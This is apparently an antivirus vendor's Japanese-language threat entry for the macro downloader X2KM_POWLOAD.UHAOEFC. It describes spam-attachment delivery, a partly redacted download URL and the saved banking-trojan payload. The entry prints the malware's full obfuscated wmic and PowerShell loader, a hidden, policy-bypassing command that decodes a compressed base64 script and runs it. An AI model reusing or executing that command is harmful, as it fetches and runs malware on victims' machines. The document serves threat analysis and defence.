X2KM_POWLOAD.UHAOEFC

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}ota.com/03062018

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %AppDataLocal%\{Random number}.exe - detected as TSPY_BEBLOH.YMNPS

(註：%AppDataLocal%フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista および 7 の場合、"C:\Users\＜ユーザ名＞\AppData\Local" です。)

マルウェアは、ダウンロードしたファイルを実行します。

＜補足＞
ダウンロード活動

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。このファイルは、TSPY_BEBLOH.YMNPS として検出されます。

• %AppDataLocal%\{Random number}.exe

その他

マルウェアは以下を実行します。

• 以下の内容を表示して、ユーザがマクロ機能を有効にするよう誘導します。
  
• マルウェアは、以下の wmicコマンドを使用して、不正なファイルをダウンロードして実行します。

  wmic pRoCEss call CrEATe "powErsHell -wINDOWstYle HiddEn -NOlOGo -NoNINTeRAcT -noP -eXECUtI BYpass "\"( new-obJEcT SYStEm.Io.comPRession.dEflatesTrEAm( [Io.meMoRYsTREaM][system.CONVeRT]::frOMbAse64StRiNG( 'VY7BSsQwFAB/JYYiLdi0qyLSsoi4rgiyu7gHD+rhNXnQaJIXksdWEf/d6s37zDCGvrJDjOJ80Rcp+uUdcv0IwZDvC/KYxVI834aDTRQ8Bn7tuplYkzOYdsBjKR9Ig7uO0VkNbCmsgEFWfbnBqd4Ob6hZ7D8zo1cbZPWEw42zc6hSK5qCIzBr61DdhwO9YylH5tg1jcaB0RCD0uSb9qy9OG0Xl/JE/j29/J4q/EBZfU/jrJdHxVXVH+8ZEte7RBpzFv/RHw==' ) "\" + [StriNg][ChaR]44 +"\"[Io.ComPrESsiON.compRessioNmoDE]::dECOmPREss) | fOrEACH-OBJecT { new-obJEcT Io.stREamREADer( `$_"\" + [StriNg][ChaR]44 +"\" [sYstEM.tEXT.eNcoding]::ASciI )}).READtoEnD( )| .( `$ENV:CoMspEC[4"\" + [StriNg][ChaR]44 +"\"26"\" + [StriNg][ChaR]44 +"\"25]-jOIN'')"\" |&( $PshoME[21]+$psHOme[30]+'X')"